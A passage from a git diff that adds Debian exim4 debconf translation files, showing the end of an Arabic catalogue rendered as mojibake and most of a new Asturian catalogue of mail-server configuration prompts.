+"النقطتين ÙÙŠ حال عناوين IPv6."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"إن كان المضي٠الذكي smarthost يتطلب التوثيق، الرجاء الرجوع إلى ملÙات القراءة "
+"الخاصة بديبيان /usr/share/doc/exim4-base/README.Debian.gz لمعلومات حول "
+"إعداد توثيق SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "مستلم بريد الجذر (root) و مدير البريد (postmaster):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"يجب إعادة تحويل البريد الخاص بالمستخدمين 'postmaster'، 'root'، وحسابات "
+"النظام الأخرى إلى حساب المستخدم الخاص بمدير النظام الÙعلي."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"إن تركت هذه القيمة Ùارغة، Ùإن هذا النوع من البريد سيتم Ø­Ùظه ÙÙŠ /var/mail/"
+"mail، وهو أمر غير مستحسن."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"لاحظ أن بريد postmaster يجب أن يقرأ من خلال النظام الموجه له البريد، بدلاً من "
+"أن يتم إعادة إرساله إلى مكان آخر، لذا Ùإن واحد على الأقل من المستخدمين "
+"المدرجة أسماءهم هنا يجب أن لا يتم إعادة توجيه بريدهم عن هذا الجهاز. يمكن "
+"استخدم السابقة 'real-' لإجبار التوصيل المحلي."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "يجب Ùصل أسماء المستخدمين المتعددة بمساÙات."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "عناوين الـIP التي سيÙنصت عندها لاتّصالات SMTP القادمة:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"الرجاء إدخال قائمة عناوين IP Ù…Ùصولة بÙاصلة منقوطة (;). سيستمع عÙريت exim "
+"SMTP إلى جميع عناوين IP المسردة هنا."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"إذا تركت هذه القيمة خاليةً ÙسيÙنصت exim للاتّصالات عند منÙØ° SMTP لكل واجهات "
+"الشّبكة المتوÙّرة."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"إن كان هذا النظام يستلم البريد الإلكتروني مباشرةً عبر الخدمات المحلية (وليس "
+"عبر الأجهزة الأخرى)ØŒ Ùمن المستحسن منع الاتصالات الخارجية لعÙريت Exim المحلي. "
+"تشمل هذه الخدمات برامج قراءة البريد الالكتروني والتي تتصل مباشرة بالجهاز "
+"localhost Ùقط مثل fetchmail. يستحيل وصول الاتصالات الخارجية عندما يتم إدخال "
+"الرقم 127.0.0.1 هنا، حيث أن هذا سيبطل الاستماع إلى واجهة الشبكة العامة."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "هل تريد إبقاء عدد استعلامات DNS محدوداً (اتّصال-عند-الطّلب)؟"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"ÙÙŠ وضع العمل العادي يقوم Exit ببحوث DNS عند بدء التشغيل Ùˆ عند إرسال أو "
+"استلام الرسائل. لأغراض التّسجيل ولإبقاء عدد القيم المثبّتة ÙÙŠ ملÙÙ‘ الإعداد "
+"صغيراً."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"إن لم يكن لهذا النظام محلل DNS كامل الخدمة متوÙر ÙÙŠ جميع الأوقات (مثلاً إن "
+"كان اتصاله بالإنترنت عبر الطلب الهاتÙÙŠ باستخدام الطلب عند الحاجة)ØŒ Ùقد يكون "
+"لهذا عواقب غير محمودة. مثلاً، عند محاولة تشغيل Exim أو محاولة معالجة الص٠"
+"(حتى ÙÙŠ حال عدم وجود رسائل بالانتظار) Ùقد يستدعي ذلك طلب اتصال هاتÙÙŠ مكلÙ."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"يجب انتقاء هذا الخيار إن كان النظام يستخدم الاتصال عند الحاجة. وإن كان "
+"للنظام اتصال دائم بالإنترنت، Ùيجب تعطيل هذا الخيار."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "تهيئة خادم البريد"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "هل تريد تقسيم الإعداد إلى ملÙّات٠صغيرة؟"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"يمكن لحزم exim4 الخاصة بديبيان إما استخدام \"التهيئة الغير منÙصلة\"ØŒ وهو مل٠"
+"واحد شامل (/etc/exim4/exim4.conf.template) أو \"التهيئة المنÙصلة\"ØŒ حيث "
+"تتكون ملÙات تهيئة Exim الÙعلية من حوالي 50 مل٠صغير موجودة ÙÙŠ /etc/exim4/"
+"conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"التهيئة الغير منÙصلة أكثر ملاءمة للتعديلات الكبيرة وهي أكثر استقراراً بشكل "
+"عام، بينما تقدم التهيئة المنÙصلة طريقة مريحة للقيام بالتعديلات البسيطة "
+"ولكنها أكثر هشاشة وقد تعطب إن تم تعديلها دون انتباه."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"نتناول بتÙصيل أكثر التهيئة المنÙصلة والغير منÙصلة ÙÙŠ ملÙات المساعدةالخاصة "
+"بديبيان الموجودة ÙÙŠ /usr/share/doc/exim4-base/.gz"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "هل تريد إخÙاء اسم البريد المحلّي ÙÙŠ البريد الصّادر؟"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"من الممكن إعادة كتابة ترويسات البريد الصّادر لجعلها تبدو كأنّها ÙˆÙلّدت على نظام٠"
+"آخر. إن تم انتقاء هذا الخيار، Ùسيتم استبدال \"${mailname}\" Ùˆ \"localhost\" "
+"Ùˆ \"${dc_other_hostnames}\" ÙÙŠ حقول From (من) Ùˆ Reply-To (الرّد إلى) Ùˆ Sender "
+"(المرسل) و Return-Path (مسار الإرجاع)."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "نسق mbox ÙÙŠ /var/mail"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "نسق maildir ÙÙŠ الدليل المنزلي"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "طريق توصيل البريد المحلي:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"يستطيع Exim تخزين الرسائل المرسلة محلياً بأنساق مختلÙØ©. الأكثر استخداماً من "
+"هذه الأنساق هو mbox و Maildir. يستخدم mbox مل٠واحداً لمجلد البريد بأكمله "
+"والمخزن ÙÙŠ /var/mail. أما نسق Maildir Ùهو يخصص ملÙاً لتخزين كل رسالة على حدى "
+"ÙÙŠ ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"الرجاء ملاحظة أن معظم أدوات البريد ÙÙŠ ديبيان تتوقع أن يكون نسق طريقة التوصيل "
+"المحلية هي mbox بشكل اÙتراضي."
diff --git a/debian/po/ast.po b/debian/po/ast.po
new file mode 100644
index 0000000..248f1a7
--- /dev/null
+++ b/debian/po/ast.po
@@ -0,0 +1,645 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_debian\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2009-01-12 21:37+0100\n"
+"Last-Translator: Marcos Alvarez Costales <marcos.alvarez.costales@gmail."
+"com>\n"
+"Language-Team: asturian <LdddL@li.org>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+"X-Poedit-Language: asturian\n"
+"X-Poedit-Country: SPAIN\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr ""
+"¿Desaniciar los mensaxes non entregaos del direutoriu de la cola de corréu?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Hai mensaxes nel direutoriu de la cola de corréu de exim /var/spool/exim4/"
+"input/ que nun se entregaren entá. Si desinstales Exim estos nun podrán "
+"unviase fasta que lo reinstale."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Caltendráse'l direutoriu de coles si nun escueyes esta opción, lo que te "
+"permitirá xestionar los mensaxes encolaos más alantre dempués de reinstalar "
+"Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Reconfigure exim4-config n'arróu d'esti paquete"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Movióse la configuración de exim4 a un paquete dedicaú: exim4-config. Si "
+"quies reconfigurar Exim4 tendríes d'executar 'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "Internet site; El corréu unvíase y recíbese direutamente usando SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"el corréu unvíase per aciu d'un smarthost; recíbese a traviés de SMTP o "
+"fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "el corréu unvíase per aciu d'un smarthost; ensin corréu llocal"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "namái entrega llocal; ensin rede"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ensin configuración de momentu"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Tipu de configuración xeneral del corréu:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Seleiciona'l tipu de configuración de sirvidor de corréu que s'axuste meyor "
+"a les tos necesidaes."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Los sistemes con señes IP dinámiques, incluyendo los qu'usen accesu "
+"telefónicu, tendríen de configurase por regla xeneral pa unviar el corréu a "
+"otru sirvidor nomáu 'smarthost' pa que faiga'l repartu. Esto ye necesario "
+"porque munchos sistemes receutores de corréu n'Internet bloquien el corréu "
+"entrante que provenga de señes IP dinámiques como midía de proteición "
+"escontra'l corréu puxarra."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Un sistema qu'use una direición IP dinámica puedes recibir el to propiu "
+"corréu, o pue deshabilitase l'unvíu llocal por completu (sacante pal corréu "
+"pa root y postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "¿Daveres quieres dexar el sistema de corréu ensin configurar?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"El to sistema de corréu quedará inutilizáu y nun podrá usase hasta que lu "
+"configures. Puedes configuralu más sero, yá seya de mou manual o executando "
+"'dpkg-reconfigure exim4-config' como alministrador."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nome del sistema de corréu:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"El nome de corréu llocal ye'l nome del dominiu usáu pa 'cualificar' les "
+"señes de corréu que nun tienen un nome de dominiu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Esti nome usaráse por otros programes. Tendría de ser el nome completu del "
+"equipu (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Por exemplu, si la direición de corréu nel sistema llocal ye "
+"«oficialidá@exemplu.org», el valor correutu pa esta opción ye 'exemplu.org'."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Esti nome nun apaecerá na llinia Dende: de los correos salientes si ta "
+"activa la reescritura."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Otros destinos pa los que s'aceuta el corréu:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Introduz la llista de dominios de destinatarios pa los qu'ésta máquina "
+"tendría de considerase a sí mesma como destín final. Separta los dominios de "
+"la llista con puntu y coma. Estos dominios denómense davezu 'dominios "
+"llocales'. Siempres s'amiesta'l nome del equipu (${fqdn}) y 'localhost' a la "
+"llista dada equí."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Por omisión tolos dominios trataránse igual. Si tantu «a.exemplu» como «b."
+"exemplu» son dominios llocales unviaráse al mesmu destinatariu correos a "
+"«acc@a.exemplu» y «acc@b.exemplu». Si quies diferenciar ente distintos nomes "
+"de dominiu necesitarás editar los ficheros de configuración postreramente."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Dominios pa los que se reunvía corréu:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Introduz la llista de dominios destín pa los que'l sistema encaminará corréu "
+"actuando, por exemplu, como pasera de corréu o respaldu MX. Separta los "
+"elementos de la llista por puntu y coma. Esto significa que'l sistema "
+"aceutará corréu pa esti dominiu dende cualesquier destín n'Internet y "
+"xestionarálos d'acordies a les regles d'entrega."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Nun mentes los dominios llocales equí. Puedes usar comodines."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Máquines pa les que reunviar corréu:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Introduz una llista de rangos de señes IP pa los que'l sistema encaminará "
+"corréu de mou incondicional, actuando pa ellos como un «smarthost». Separta "
+"les señes con puntu y coma."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Usa'l formatu estándar direición/llonxitú (por exemplu 194.222.242.0/24 ó "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Dexa esti valor en blanco si'l sistema nun tien de comportase como un "
+"smarthost pa dengún otru sistema."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nome de dominiu visible pa usuarios llocales:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Activóse la opción p'anubrir el nome de corréu llocal nel corréu saliente. "
+"Ye necesario qu'especifiques el nome de dominiu que'l sistema tendría d'usar "
+"pa la parte de dominiu de les señes de corréu orixe usaes pa los usuarios "
+"llocales."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Direición IP o nome d'equipu pal smarthost saliente:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Introduz la direición IP o'l nome d'equipu del sirvidor de corréu que "
+"tendría d'usase como sirvidor saliente («smarthost»). Si'l sirvidor namái "
+"aceuta'l to corréu nun puertu distintu al puertu TCP/25 tendrás d'incluyir "
+"el númberu de puertu separtándolu con dos signos de dos puntos (por exemplu, "
+"smarthost.exemplu::587 ó 192.168.254.254::2525). Los dos puntos en "
+"direiciones IPv6 tendrán d'escribise dos vegaes."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Si'l smarthost requier que'l sistema s'autentique tendrás de consultar cómo "
+"definir la configuración de l'autenticación SMTP nos ficheros README "
+"específicos de Debian en /usr/share/doc/exim4-base/."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Destinatariu del corréu de root y postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Tienes de redirixir los correos a postmaster, root y otres cuentes del "
+"sistema a una cuenta del usuariu que correspuenda a la del alministrador del "
+"sistema real."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Tol corréru d'esta triba atroxaráse en /var/mail/mail si dexes ermu esti "
+"valor, lo que nun se recomienda."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Decátate de que los mensaxes empobinaos al alministrador de corréu "
+"postmaster tendríen de lleese normalmente nel sistema al que va empobináu, "
+"n'arróu d'unviase a otra parte. Asina, (polo menos ún de) los usuarios "
+"qu'escueyes nun tendríen de reunviar el so corréu fuera d'ésta máquina. "
+"Puedes usar el prefixu 'real-' p'angariyar a usar la entrega llocal."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr ""
+"Si introduces más d'un nome d'usuariu tienes de separtalos con espacios."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Direiciones IP nes que recibir conexones SMTP entrantes:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Introduz una llista de direiciones IP separtaes por puntu y coma. El demoniu "
+"qu'aceuta les conexones entrantes SMTP de Exim escuchará en toles "
+"direiciones IP equí llistaes."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Si dexes esti valor en blanco, Exim podrá recibir conexones dende "
+"cualesquier interface de rede disponible."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Recomiéndase prohibir conexones esternes a Exim si esti equipu namái recibe "
+"corréu direutamente de servicios llocales (y non d'otros equipos). Estos "
+"servicios incluyendo los programes veceru de corréu (MUA) que namái unvíen "
+"corréu a localhost asina como fetchmail. Nun podrán facese conexones de mou "
+"estermu si introduz equí el valor 127.0.0.1, d'esti mou desactivará la "
+"escucha nes interfaces coneutaes a redes públiques."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "¿Llimitar el númberu de consultes de DNS (marcación baxo demanda)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Nel mou normal d'operación, Exim fai consultes de DNS al aniciar y cuando "
+"recibe o entrega mensaxes. Estes consultes faense pa poder caltener "
+"rexistros y pa caltener pequeñu'l númberu de valores fixos grabaos nel "
+"ficheru de configuración."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Si esti sistema nun tien accesu permanente a sirvidores de nomes DNS (ye'l "
+"casu cuando s'usa marcación baxo demanda o una llinia d'accesu telefónicu) "
+"esto podría tener consecuencies nun deseyaes. Por exemplu, podría llegase a "
+"tentar facer un eventu de conexón (que xenere una llamada costosa) al "
+"aniciar exim o procesar la cola del corréu (inclusu magar que nun heba "
+"mensaxes n'espera)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Tendría de seleicionar esta opción si'l to sistema usa marcación baxo "
+"demanda. Nun la habilites si'l to sistema ta permanentemente coneutáu a "
+"Internet."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configuración del sirvidor de corréu:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "¿Dixebrar la configuración en pequeños ficheros?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Los paquetes Debian de exim4 puen usar una 'configuración concentrada', ye "
+"dicir, un únicu ficheru monolíticu (/etc/exim4.conf.template), o bien una "
+"'configuración segmentada' au la configuración d'Exim constrúise usando "
+"cerca de 50 ficheros pequeños en /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
